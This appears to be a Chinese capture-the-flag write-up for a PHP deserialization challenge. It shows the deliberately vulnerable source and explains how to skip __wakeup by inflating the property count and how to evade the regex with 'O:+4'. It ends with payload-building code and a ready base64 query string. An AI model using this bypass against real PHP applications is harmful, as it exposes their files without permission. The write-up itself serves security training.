<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
通过代码知道,要GET请求的参数是:var。 最后还需要对var变量进行base64编码, $var = base64_decode($_GET['var']); 代码会对传入的var进行base64解码。
$a=new Demo("fl4g.php");
echo serialize($a);
序列化是:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
__wakeup作用:强制把$file指向index.php,绕过他就需要对象属性个数的值大于真实的属性个数,这时就会跳过__wakeup的执行。
绕过__wakeup后序列化是:O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} {前的1,+1变成2。
代码中还有一个正则表达式preg_match('/[oc]:\d+:/i', $var) 要求o: 后不能是数字,可以通过+绕过,+会变成空。
最后的序列化结果是:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
$a=new Demo("fl4g.php");
$s= serialize($a);
$s = str_replace('O:4', 'O:+4',$s);
$s = str_replace(':1:', ':2:',$s);
echo (base64_encode($s));
base64编码后,最后的payload是: ?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
|